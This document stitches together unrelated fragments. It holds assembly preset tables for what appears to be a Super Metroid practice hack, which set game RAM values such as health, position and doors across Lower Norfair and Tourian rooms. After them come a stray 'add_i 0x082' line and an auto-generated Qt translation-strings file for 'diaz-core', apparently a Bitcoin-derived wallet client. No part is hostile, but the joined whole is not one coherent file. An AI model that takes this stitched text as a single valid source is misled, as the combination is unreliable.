preset_kpdr21_lower_norfair_reverse_plowerhouse: dw #preset_kpdr21_lower_norfair_leaving_ridley ; Lower Norfair: Leaving Ridley dw $078D, $98BE ; DDB dw $079B, $B37A ; MDB dw $07F3, $0018 ; Music Bank dw $07F5, $0005 ; Music Track dw $090F, $8000 ; Screen subpixel X position dw $0911, $0200 ; Screen X position in pixels dw $0913, $AC00 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0180 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C2, $00D6 ; Health dw $0AF6, $02B8 ; Samus X dw $0AFA, $008B ; Samus Y dw $D8BA, $D5F1 ; Doors dw #$FFFF preset_kpdr21_lower_norfair_wasteland_revisit: dw #preset_kpdr21_lower_norfair_reverse_plowerhouse ; Lower Norfair: Reverse Plowerhouse dw $078D, $9966 ; DDB dw $079B, $B62B ; MDB dw $090F, $9000 ; Screen subpixel X position dw $0913, $7400 ; Screen subpixel Y position dw $09C2, $00B4 ; Health dw $0AF6, $02DC ; Samus X dw #$FFFF preset_kpdr21_lower_norfair_kihunter_stairs_up: dw #preset_kpdr21_lower_norfair_wasteland_revisit ; Lower Norfair: Wasteland Revisit dw $078D, $9A3E ; DDB dw $079B, $B5D5 ; MDB dw $090F, $D5FF ; Screen subpixel X position dw $0911, $0500 ; Screen X position in pixels dw $0913, $B000 ; Screen subpixel Y position dw $0917, $03C0 ; Layer 2 X position dw $09C2, $00B2 ; Health dw $09CE, $0002 ; Pbs dw $0AF6, $055B ; Samus X dw $0AFA, $009B ; Samus Y dw #$FFFF preset_kpdr21_lower_norfair_fire_flea_room: dw #preset_kpdr21_lower_norfair_kihunter_stairs_up ; Lower Norfair: Kihunter Stairs Up dw $078D, $9A26 ; DDB dw $079B, $B585 ; MDB dw $090F, $D000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $2800 ; Screen subpixel Y position dw $0915, $000D ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0009 ; Layer 2 Y position dw $0AF6, $009C ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr21_lower_norfair_springball_maze: dw #preset_kpdr21_lower_norfair_fire_flea_room ; Lower Norfair: Fire Flea Room dw $078D, $9A02 ; DDB dw $079B, $B6EE ; MDB dw $090F, $0000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $0000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0915, $0001 ; Screen Y position in pixels dw $0917, $0100 ; Layer 2 X position dw $0919, $0001 ; Layer 2 Y position dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $016C ; Samus X dw #$FFFF preset_kpdr21_lower_norfair_three_musketeers: dw #preset_kpdr21_lower_norfair_springball_maze ; Lower Norfair: Springball Maze dw $078D, $9A92 ; DDB dw $079B, $B510 ; MDB dw $090F, $5A81 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $5000 ; Screen subpixel Y position dw $0915, $0003 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0002 ; Layer 2 Y position dw $0AF6, $0060 ; Samus X dw #$FFFF preset_kpdr21_lower_norfair_single_chamber_final: dw #preset_kpdr21_lower_norfair_three_musketeers ; Lower Norfair: Three Musketeers dw $078D, $99AE ; DDB dw $079B, $B656 ; MDB dw $090F, $9000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $E000 ; Screen subpixel Y position dw $0917, $00C0 ; Layer 2 X position dw $09C2, $0080 ; Health dw $0AF6, $016E ; Samus X dw #$FFFF preset_kpdr21_lower_norfair_bubble_mountain_final: dw #preset_kpdr21_lower_norfair_single_chamber_final ; Lower Norfair: Single Chamber Final dw $078D, $9A4A ; DDB dw $079B, $AD5E ; MDB dw $07F3, $0015 ; Music Bank dw $090F, $8000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $A800 ; Screen subpixel Y position dw $0915, $0016 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0010 ; Layer 2 Y position dw $09C2, $0074 ; Health dw $0AF6, $0075 ; Samus X dw #$FFFF preset_kpdr21_lower_norfair_business_center_final: dw #preset_kpdr21_lower_norfair_bubble_mountain_final ; Lower Norfair: Bubble Mountain Final dw $078D, $97DA ; DDB dw $079B, $B167 ; MDB dw $090F, $6000 ; Screen subpixel X position dw $0913, $5000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $09C2, $0088 ; Health dw $09C6, $0011 ; Missiles dw $09CE, $0001 ; Pbs dw $0AF6, $0032 ; Samus X dw #$FFFF preset_kpdr21_backtracking_maridia_tube_revisit: dw #preset_kpdr21_lower_norfair_business_center_final ; Lower Norfair: Business Center Final dw $078D, $92EE ; DDB dw $079B, $A6A1 ; MDB dw $07F3, $0012 ; Music Bank dw $07F5, $0003 ; Music Track dw $0913, $0000 ; Screen subpixel Y position dw $0A1C, $009B ; Samus position/state dw $0A1E, $0000 ; More position/state dw $0AF6, $0080 ; Samus X dw $0AFA, $0086 ; Samus Y dw #$FFFF preset_kpdr21_backtracking_fish_tank_revisit: dw #preset_kpdr21_backtracking_maridia_tube_revisit ; Backtracking: Maridia Tube Revisit dw $078D, $A330 ; DDB dw $079B, $CFC9 ; MDB dw $07F3, $001B ; Music Bank dw $07F5, $0006 ; Music Track dw $0911, $00FA ; Screen X position in pixels dw $0913, $5000 ; Screen subpixel Y position dw $0915, $05F3 ; Screen Y position in pixels dw $0917, $00BB ; Layer 2 X position dw $0919, $0476 ; Layer 2 Y position dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $0168 ; Samus X dw $0AFA, $068B ; Samus Y dw #$FFFF preset_kpdr21_backtracking_mt_everest_revisit_revisit: dw #preset_kpdr21_backtracking_fish_tank_revisit ; Backtracking: Fish Tank Revisit dw $078D, $A3B4 ; DDB dw $079B, $D017 ; MDB dw $090F, $E000 ; Screen subpixel X position dw $0911, $0068 ; Screen X position in pixels dw $0913, $0C00 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $004E ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $00C8 ; Samus X dw $0AFA, $006B ; Samus Y dw #$FFFF preset_kpdr21_backtracking_red_brinstar_green_gate: dw #preset_kpdr21_backtracking_mt_everest_revisit_revisit ; Backtracking: Mt Everest Revisit Revisit dw $078D, $A42C ; DDB dw $079B, $D104 ; MDB dw $090F, $3801 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $2000 ; Screen subpixel Y position dw $0917, $0000 ; Layer 2 X position dw $0AF6, $0079 ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr21_backtracking_crateria_kihunters_final: dw #preset_kpdr21_backtracking_red_brinstar_green_gate ; Backtracking: Red Brinstar Green Gate dw $078D, $90BA ; DDB dw $079B, $962A ; MDB dw $07F3, $0012 ; Music Bank dw $07F5, $0003 ; Music Track dw $090F, $A000 ; Screen subpixel X position dw $0913, $2800 ; Screen subpixel Y position dw $09CA, $0009 ; Supers dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $0063 ; Samus X dw $0AFA, $005B ; Samus Y dw #$FFFF preset_kpdr21_backtracking_parlor_spacejump: dw #preset_kpdr21_backtracking_crateria_kihunters_final ; Backtracking: Crateria Kihunters Final dw $078D, $8AC6 ; DDB dw $079B, $91F8 ; MDB dw $07F3, $000C ; Music Bank dw $07F5, $0005 ; Music Track dw $090F, $0000 ; Screen subpixel X position dw $0911, $05DC ; Screen X position in pixels dw $0913, $CC00 ; Screen subpixel Y position dw $0915, $0400 ; Screen Y position in pixels dw $0917, $02EE ; Layer 2 X position dw $09C6, $0010 ; Missiles dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $067C ; Samus X dw $0AFA, $04BB ; Samus Y dw #$FFFF preset_kpdr21_backtracking_terminator_revisit: dw #preset_kpdr21_backtracking_parlor_spacejump ; Backtracking: Parlor Spacejump dw $078D, $8916 ; DDB dw $079B, $92FD ; MDB dw $07F3, $0009 ; Music Bank dw $090F, $4000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $B400 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $00C0 ; Layer 2 X position dw $0A1C, $001C ; Samus position/state dw $0A1E, $0304 ; More position/state dw $0AF6, $0101 ; Samus X dw $0AFA, $0086 ; Samus Y dw $0B3F, $0104 ; Blue suit dw #$FFFF preset_kpdr21_backtracking_green_pirate_shaft_revisit: dw #preset_kpdr21_backtracking_terminator_revisit ; Backtracking: Terminator Revisit dw $078D, $895E ; DDB dw $079B, $990D ; MDB dw $090F, $0000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $0800 ; Screen subpixel Y position dw $0915, $0200 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0180 ; Layer 2 Y position dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $0073 ; Samus X dw $0AFA, $029B ; Samus Y dw $0B3F, $0000 ; Blue suit dw #$FFFF preset_kpdr21_tourian_metroids_1: dw #preset_kpdr21_backtracking_green_pirate_shaft_revisit ; Backtracking: Green Pirate Shaft Revisit dw $078D, $9222 ; DDB dw $079B, $DAAE ; MDB dw $07F3, $001E ; Music Bank dw $090F, $8000 ; Screen subpixel X position dw $0913, $0000 ; Screen subpixel Y position dw $0915, $0238 ; Screen Y position in pixels dw $0919, $01AA ; Layer 2 Y position dw $09C2, $00B0 ; Health dw $09C6, $0012 ; Missiles dw $09CA, $0008 ; Supers dw $0A1C, $009B ; Samus position/state dw $0A1E, $0000 ; More position/state dw $0AF6, $0080 ; Samus X dw $0AFA, $02A8 ; Samus Y dw $D820, $0FC1 ; Events dw $D8B2, $6C01 ; Doors dw $D90C, $0100 ; Map Stations dw #$FFFF preset_kpdr21_tourian_metroids_2: dw #preset_kpdr21_tourian_metroids_1 ; Tourian: Metroids 1 dw $078D, $A984 ; DDB dw $079B, $DAE1 ; MDB dw $090F, $7000 ; Screen subpixel X position dw $0913, $5000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $09C2, $00EC ; Health dw $09C6, $0014 ; Missiles dw $09CA, $0009 ; Supers dw $09CE, $0002 ; Pbs dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $003B ; Samus X dw $0AFA, $008B ; Samus Y dw $D822, $0021 ; Events dw $D8C4, $0001 ; Doors dw #$FFFF preset_kpdr21_tourian_metroids_3: dw #preset_kpdr21_tourian_metroids_2 ; Tourian: Metroids 2 dw $078D, $A9B4 ; DDB dw $079B, $DB31 ; MDB dw $090F, $9000 ; Screen subpixel X position dw $0913, $1000 ; Screen subpixel Y position dw $0915, $0109 ; Screen Y position in pixels dw $0919, $00C6 ; Layer 2 Y position dw $09C2, $0164 ; Health dw $09CA, $0009 ; Supers dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $00C2 ; Samus X dw $0AFA, $018B ; Samus Y dw $D822, $0023 ; Events dw $D8C4, $0003 ; Doors dw #$FFFF preset_kpdr21_tourian_metroids_4: dw #preset_kpdr21_tourian_metroids_3 ; Tourian: Metroids 3 dw $078D, $A9CC ; DDB dw $079B, $DB7D ; MDB dw $090F, $C000 ; Screen subpixel X position dw $0911, $0500 ; Screen X position in pixels dw $0913, $0400 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $03C0 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C2, $018F ; Health dw $0AF6, $059E ; Samus X dw $0AFA, $008B ; Samus Y dw $D822, $0027 ; Events dw $D8C4, $0007 ; Doors dw #$FFFF preset_kpdr21_tourian_giant_hoppers: dw #preset_kpdr21_tourian_metroids_4 ; Tourian: Metroids 4 dw $078D, $A9E4 ; DDB dw $079B, $DBCD ; MDB dw $090F, $1000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $4C00 ; Screen subpixel Y position dw $0915, $011F ; Screen Y position in pixels dw $09CA, $000A ; Supers dw $0917, $0000 ; Layer 2 X position dw $0919, $00D7 ; Layer 2 Y position dw $09CE, $0005 ; Pbs dw $0AF6, $0058 ; Samus X dw $0AFA, $01CB ; Samus Y dw $D822, $002F ; Events dw $D8C4, $000F ; Doors dw #$FFFF preset_kpdr21_tourian_baby_skip: dw #preset_kpdr21_tourian_giant_hoppers ; Tourian: Giant Hoppers dw $078D, $AA14 ; DDB dw $079B, $DC65 ; MDB dw $07F3, $0045 ; Music Bank dw $07F5, $0006 ; Music Track dw $090F, $3000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $1800 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $00C0 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C2, $0171 ; Health dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $01D8 ; Samus X dw $0AFA, $00AB ; Samus Y dw #$FFFF preset_kpdr21_tourian_gadora_room: dw #preset_kpdr21_tourian_baby_skip ; Tourian: Baby Skip dw $078D, $AA44 ; DDB dw $079B, $DCFF ; MDB dw $07F3, $001E ; Music Bank dw $07F5, $0005 ; Music Track dw $090F, $1000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $B800 ; Screen subpixel Y position dw $0915, $0117 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $00D1 ; Layer 2 Y position dw $09CA, $0009 ; Supers dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $00DC ; Samus X dw $0AFA, $018B ; Samus Y dw $D8C4, $00AF ; Doors dw #$FFFF preset_kpdr21_tourian_zeb_skip: dw #preset_kpdr21_tourian_gadora_room ; Tourian: Gadora Room dw $078D, $AAA4 ; DDB dw $079B, $DDF3 ; MDB dw $090F, $E000 ; Screen subpixel X position dw $0913, $0000 ; Screen subpixel Y position dw $0915, $021A ; Screen Y position in pixels dw $0919, $0193 ; Layer 2 Y position dw $09CA, $0007 ; Supers dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $0038 ; Samus X dw $0AFA, $028B ; Samus Y dw $D8C4, $03AF ; Doors dw #$FFFF preset_kpdr21_tourian_mother_brain_2: dw #preset_kpdr21_tourian_zeb_skip ; Tourian: Zeb Skip dw $078D, $AAC8 ; DDB dw $079B, $DD58 ; MDB dw $07F3, $0021 ; Music Bank dw $07F5, $0000 ; Music Track dw $090F, $79FF ; Screen subpixel X position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $09C2, $0176 ; Health dw $09C6, $0005 ; Missiles dw $09CA, $0000 ; Supers dw $0AF6, $00CF ; Samus X dw $0AFA, $009B ; Samus Y dw $D820, $0FC5 ; Events dw #$FFFF preset_kpdr21_tourian_mother_brain_3: dw #preset_kpdr21_tourian_mother_brain_2 ; Tourian: Mother Brain 2 dw $09A6, $1009 ; Beams dw $09C2, $018F ; Health dw $09C6, $0000 ; Missiles dw $09CE, $0000 ; Pbs dw $0A76, $8000 ; Hyper beam dw $D82C, $0203 ; Bosses dw #$FFFF preset_kpdr21_tourian_zebes_escape: dw #preset_kpdr21_tourian_mother_brain_3 ; Tourian: Mother Brain 3 dw $09A6, $1009 ; Beams dw $0AF6, $0025 ; Samus X dw $0AFA, $00C3 ; Samus Y dw $D820, $4FC5 ; Events dw #$FFFF preset_kpdr21_tourian_escape_room_3: dw #preset_kpdr21_tourian_zebes_escape ; Tourian: Zebes Escape dw $078D, $AAEC ; DDB dw $079B, $DE7A ; MDB dw $07F3, $0024 ; Music Bank dw $07F5, $0007 ; Music Track dw $090F, $1000 ; Screen subpixel X position dw $0913, $2800 ; Screen subpixel Y position dw $0915, $0100 ; Screen Y position in pixels dw $0919, $00C0 ; Layer 2 Y position dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $00DF ; Samus X dw $0AFA, $018B ; Samus Y dw #$FFFF preset_kpdr21_tourian_escape_room_4: dw #preset_kpdr21_tourian_escape_room_3 ; Tourian: Escape Room 3 dw $078D, $AB04 ; DDB dw $079B, $DEA7 ; MDB dw $090F, $3000 ; Screen subpixel X position dw $0911, $0500 ; Screen X position in pixels dw $0913, $4C00 ; Screen subpixel Y position dw $0915, $001C ; Screen Y position in pixels dw $0917, $03C0 ; Layer 2 X position dw $0919, $0015 ; Layer 2 Y position dw $0AF6, $05D6 ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr21_tourian_escape_climb: dw #preset_kpdr21_tourian_escape_room_4 ; Tourian: Escape Room 4 dw $078D, $AB1C ; DDB dw $079B, $DEDE ; MDB dw $090F, $0000 ; Screen subpixel X position dw $0911, $00F1 ; Screen X position in pixels dw $0913, $A400 ; Screen subpixel Y position dw $0915, $00FB ; Screen Y position in pixels dw $0917, $00B4 ; Layer 2 X position dw $0919, $00BC ; Layer 2 Y position dw $09C2, $0171 ; Health dw $0AF6, $0151 ; Samus X dw $0AFA, $018B ; Samus Y dw #$FFFF preset_kpdr21_tourian_escape_parlor: dw #preset_kpdr21_tourian_escape_climb ; Tourian: Escape Climb dw $078D, $AB34 ; DDB dw $079B, $96BA ; MDB dw $090F, $BFFF ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $6801 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $00C0 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C2, $00DE ; Health dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $01DA ; Samus X dw $0AFA, $004B ; Samus Y dw #$FFFF
add_i 0x082
#include <QtGlobal> // Automatically generated by extract_strings_qt.py #ifdef __GNUC__ #define UNUSED __attribute__((unused)) #else #define UNUSED #endif static const char UNUSED *diaz_strings[] = { QT_TRANSLATE_NOOP("diaz-core", "The %s developers"), QT_TRANSLATE_NOOP("diaz-core", "" "-maxtxfee is set very high! Fees this large could be paid on a single " "transaction."), QT_TRANSLATE_NOOP("diaz-core", "" "Can't generate a change-address key. No keys in the internal keypool and " "can't generate any keys."), QT_TRANSLATE_NOOP("diaz-core", "" "Cannot obtain a lock on data directory %s. %s is probably already running."), QT_TRANSLATE_NOOP("diaz-core", "" "Cannot provide specific connections and have addrman find outgoing " "connections at the same."), QT_TRANSLATE_NOOP("diaz-core", "" "Cannot upgrade a non HD split wallet without upgrading to support pre split " "keypool. Please use -upgradewallet=169900 or -upgradewallet with no version " "specified."), QT_TRANSLATE_NOOP("diaz-core", "" "Distributed under the MIT software license, see the accompanying file %s or " "%s"), QT_TRANSLATE_NOOP("diaz-core", "" "Error reading %s! All keys read correctly, but transaction data or address " "book entries might be missing or incorrect."), QT_TRANSLATE_NOOP("diaz-core", "" "Error: Listening for incoming connections failed (listen returned error %s)"), QT_TRANSLATE_NOOP("diaz-core", "" "Fee estimation failed. Fallbackfee is disabled. Wait a few blocks or enable -" "fallbackfee."), QT_TRANSLATE_NOOP("diaz-core", "" "Invalid amount for -maxtxfee=<amount>: '%s' (must be at least the minrelay " "fee of %s to prevent stuck transactions)"), QT_TRANSLATE_NOOP("diaz-core", "" "Please check that your computer's date and time are correct! If your clock " "is wrong, %s will not work properly."), QT_TRANSLATE_NOOP("diaz-core", "" "Please contribute if you find %s useful. Visit %s for further information " "about the software."), QT_TRANSLATE_NOOP("diaz-core", "" "Prune configured below the minimum of %d MiB. Please use a higher number."), QT_TRANSLATE_NOOP("diaz-core", "" "Prune: last wallet synchronisation goes beyond pruned data. You need to -" "reindex (download the whole blockchain again in case of pruned node)"), QT_TRANSLATE_NOOP("diaz-core", "" "Rescans are not possible in pruned mode. You will need to use -reindex which " "will download the whole blockchain again."), QT_TRANSLATE_NOOP("diaz-core", "" "The block database contains a block which appears to be from the future. " "This may be due to your computer's date and time being set incorrectly. Only " "rebuild the block database if you are sure that your computer's date and " "time are correct"), QT_TRANSLATE_NOOP("diaz-core", "" "The transaction amount is too small to send after the fee has been deducted"), QT_TRANSLATE_NOOP("diaz-core", "" "This is a pre-release test build - use at your own risk - do not use for " "mining or merchant applications"), QT_TRANSLATE_NOOP("diaz-core", "" "This is the transaction fee you may discard if change is smaller than dust " "at this level"), QT_TRANSLATE_NOOP("diaz-core", "" "This is the transaction fee you may pay when fee estimates are not available."), QT_TRANSLATE_NOOP("diaz-core", "" "This product includes software developed by the OpenSSL Project for use in " "the OpenSSL Toolkit %s and cryptographic software written by Eric Young and " "UPnP software written by Thomas Bernard."), QT_TRANSLATE_NOOP("diaz-core", "" "Total length of network version string (%i) exceeds maximum length (%i). " "Reduce the number or size of uacomments."), QT_TRANSLATE_NOOP("diaz-core", "" "Unable to replay blocks. You will need to rebuild the database using -" "reindex-chainstate."), QT_TRANSLATE_NOOP("diaz-core", "" "Unable to rewind the database to a pre-fork state. You will need to " "redownload the blockchain"), QT_TRANSLATE_NOOP("diaz-core", "" "Warning: Private keys detected in wallet {%s} with disabled private keys"), QT_TRANSLATE_NOOP("diaz-core", "" "Warning: The network does not appear to fully agree! Some miners appear to " "be experiencing issues."), QT_TRANSLATE_NOOP("diaz-core", "" "Warning: Wallet file corrupt, data salvaged! Original %s saved as %s in %s; " "if your balance or transactions are incorrect you should restore from a " "backup."), QT_TRANSLATE_NOOP("diaz-core", "" "Warning: We do not appear to fully agree with our peers! You may need to " "upgrade, or other nodes may need to upgrade."), QT_TRANSLATE_NOOP("diaz-core", "" "You need to rebuild the database using -reindex to go back to unpruned " "mode. This will redownload the entire blockchain"), QT_TRANSLATE_NOOP("diaz-core", "%d of last 100 blocks have unexpected version"), QT_TRANSLATE_NOOP("diaz-core", "%s corrupt, salvage failed"), QT_TRANSLATE_NOOP("diaz-core", "%s is set very high!"), QT_TRANSLATE_NOOP("diaz-core", "-maxmempool must be at least %d MB"), QT_TRANSLATE_NOOP("diaz-core", "Cannot downgrade wallet"), QT_TRANSLATE_NOOP("diaz-core", "Cannot resolve -%s address: '%s'"), QT_TRANSLATE_NOOP("diaz-core", "Cannot write to data directory '%s'; check permissions."), QT_TRANSLATE_NOOP("diaz-core", "Change index out of range"), QT_TRANSLATE_NOOP("diaz-core", "Config setting for %s only applied on %s network when in [%s] section."), QT_TRANSLATE_NOOP("diaz-core", "Copyright (C) %i-%i"), QT_TRANSLATE_NOOP("diaz-core", "Corrupted block database detected"), QT_TRANSLATE_NOOP("diaz-core", "Do you want to rebuild the block database now?"), QT_TRANSLATE_NOOP("diaz-core", "Done loading"), QT_TRANSLATE_NOOP("diaz-core", "Error initializing block database"), QT_TRANSLATE_NOOP("diaz-core", "Error initializing wallet database environment %s!"), QT_TRANSLATE_NOOP("diaz-core", "Error loading %s"), QT_TRANSLATE_NOOP("diaz-core", "Error loading %s: Private keys can only be disabled during creation"), QT_TRANSLATE_NOOP("diaz-core", "Error loading %s: Wallet corrupted"), QT_TRANSLATE_NOOP("diaz-core", "Error loading %s: Wallet requires newer version of %s"), QT_TRANSLATE_NOOP("diaz-core", "Error loading block database"), QT_TRANSLATE_NOOP("diaz-core", "Error loading wallet %s. Duplicate -wallet filename specified."), QT_TRANSLATE_NOOP("diaz-core", "Error opening block database"), QT_TRANSLATE_NOOP("diaz-core", "Error reading from database, shutting down."), QT_TRANSLATE_NOOP("diaz-core", "Error upgrading chainstate database"), QT_TRANSLATE_NOOP("diaz-core", "Error: A fatal internal error occurred, see debug.log for details"), QT_TRANSLATE_NOOP("diaz-core", "Error: Disk space is low for %s"), QT_TRANSLATE_NOOP("diaz-core", "Error: Disk space is too low!"), QT_TRANSLATE_NOOP("diaz-core", "Failed to listen on any port. Use -listen=0 if you want this."), QT_TRANSLATE_NOOP("diaz-core", "Failed to rescan the wallet during initialization"), QT_TRANSLATE_NOOP("diaz-core", "Importing..."), QT_TRANSLATE_NOOP("diaz-core", "Incorrect or no genesis block found. Wrong datadir for network?"), QT_TRANSLATE_NOOP("diaz-core", "Initialization sanity check failed. %s is shutting down."), QT_TRANSLATE_NOOP("diaz-core", "Insufficient funds"), QT_TRANSLATE_NOOP("diaz-core", "Invalid -onion address or hostname: '%s'"), QT_TRANSLATE_NOOP("diaz-core", "Invalid -proxy address or hostname: '%s'"), QT_TRANSLATE_NOOP("diaz-core", "Invalid P2P permission: '%s'"), QT_TRANSLATE_NOOP("diaz-core", "Invalid amount for -%s=<amount>: '%s'"), QT_TRANSLATE_NOOP("diaz-core", "Invalid amount for -discardfee=<amount>: '%s'"), QT_TRANSLATE_NOOP("diaz-core", "Invalid amount for -fallbackfee=<amount>: '%s'"), QT_TRANSLATE_NOOP("diaz-core", "Invalid amount for -paytxfee=<amount>: '%s' (must be at least %s)"), QT_TRANSLATE_NOOP("diaz-core", "Invalid netmask specified in -whitelist: '%s'"), QT_TRANSLATE_NOOP("diaz-core", "Loading P2P addresses..."), QT_TRANSLATE_NOOP("diaz-core", "Loading banlist..."), QT_TRANSLATE_NOOP("diaz-core", "Loading block index..."), QT_TRANSLATE_NOOP("diaz-core", "Loading wallet..."), QT_TRANSLATE_NOOP("diaz-core", "Need to specify a port with -whitebind: '%s'"), QT_TRANSLATE_NOOP("diaz-core", "Not enough file descriptors available."), QT_TRANSLATE_NOOP("diaz-core", "Prune cannot be configured with a negative value."), QT_TRANSLATE_NOOP("diaz-core", "Prune mode is incompatible with -blockfilterindex."), QT_TRANSLATE_NOOP("diaz-core", "Prune mode is incompatible with -txindex."), QT_TRANSLATE_NOOP("diaz-core", "Pruning blockstore..."), QT_TRANSLATE_NOOP("diaz-core", "Reducing -maxconnections from %d to %d, because of system limitations."), QT_TRANSLATE_NOOP("diaz-core", "Replaying blocks..."), QT_TRANSLATE_NOOP("diaz-core", "Rescanning..."), QT_TRANSLATE_NOOP("diaz-core", "Rewinding blocks..."), QT_TRANSLATE_NOOP("diaz-core", "Section [%s] is not recognized."), QT_TRANSLATE_NOOP("diaz-core", "Signing transaction failed"), QT_TRANSLATE_NOOP("diaz-core", "Specified -walletdir \"%s\" does not exist"), QT_TRANSLATE_NOOP("diaz-core", "Specified -walletdir \"%s\" is a relative path"), QT_TRANSLATE_NOOP("diaz-core", "Specified -walletdir \"%s\" is not a directory"), QT_TRANSLATE_NOOP("diaz-core", "Specified blocks directory \"%s\" does not exist."), QT_TRANSLATE_NOOP("diaz-core", "Starting network threads..."), QT_TRANSLATE_NOOP("diaz-core", "The source code is available from %s."), QT_TRANSLATE_NOOP("diaz-core", "The specified config file %s does not exist\n"), QT_TRANSLATE_NOOP("diaz-core", "The transaction amount is too small to pay the fee"), QT_TRANSLATE_NOOP("diaz-core", "The wallet will avoid paying less than the minimum relay fee."), QT_TRANSLATE_NOOP("diaz-core", "This is experimental software."), QT_TRANSLATE_NOOP("diaz-core", "This is the minimum transaction fee you pay on every transaction."), QT_TRANSLATE_NOOP("diaz-core", "This is the transaction fee you will pay if you send a transaction."), QT_TRANSLATE_NOOP("diaz-core", "Transaction amount too small"), QT_TRANSLATE_NOOP("diaz-core", "Transaction amounts must not be negative"), QT_TRANSLATE_NOOP("diaz-core", "Transaction fee and change calculation failed"), QT_TRANSLATE_NOOP("diaz-core", "Transaction has too long of a mempool chain"), QT_TRANSLATE_NOOP("diaz-core", "Transaction must have at least one recipient"), QT_TRANSLATE_NOOP("diaz-core", "Transaction too large"), QT_TRANSLATE_NOOP("diaz-core", "Unable to bind to %s on this computer (bind returned error %s)"), QT_TRANSLATE_NOOP("diaz-core", "Unable to bind to %s on this computer. %s is probably already running."), QT_TRANSLATE_NOOP("diaz-core", "Unable to create the PID file '%s': %s"), QT_TRANSLATE_NOOP("diaz-core", "Unable to generate initial keys"), QT_TRANSLATE_NOOP("diaz-core", "Unable to generate keys"), QT_TRANSLATE_NOOP("diaz-core", "Unable to start HTTP server. See debug log for details."), QT_TRANSLATE_NOOP("diaz-core", "Unknown -blockfilterindex value %s."), QT_TRANSLATE_NOOP("diaz-core", "Unknown address type '%s'"), QT_TRANSLATE_NOOP("diaz-core", "Unknown change type '%s'"), QT_TRANSLATE_NOOP("diaz-core", "Unknown network specified in -onlynet: '%s'"), QT_TRANSLATE_NOOP("diaz-core", "Unsupported logging category %s=%s."), QT_TRANSLATE_NOOP("diaz-core", "Upgrading UTXO database"), QT_TRANSLATE_NOOP("diaz-core", "Upgrading txindex database"), QT_TRANSLATE_NOOP("diaz-core", "User Agent comment (%s) contains unsafe characters."), QT_TRANSLATE_NOOP("diaz-core", "Verifying blocks..."), QT_TRANSLATE_NOOP("diaz-core", "Verifying wallet(s)..."), QT_TRANSLATE_NOOP("diaz-core", "Wallet needed to be rewritten: restart %s to complete"), QT_TRANSLATE_NOOP("diaz-core", "Warning: unknown new rules activated (versionbit %i)"), QT_TRANSLATE_NOOP("diaz-core", "Zapping all transactions from wallet..."), };
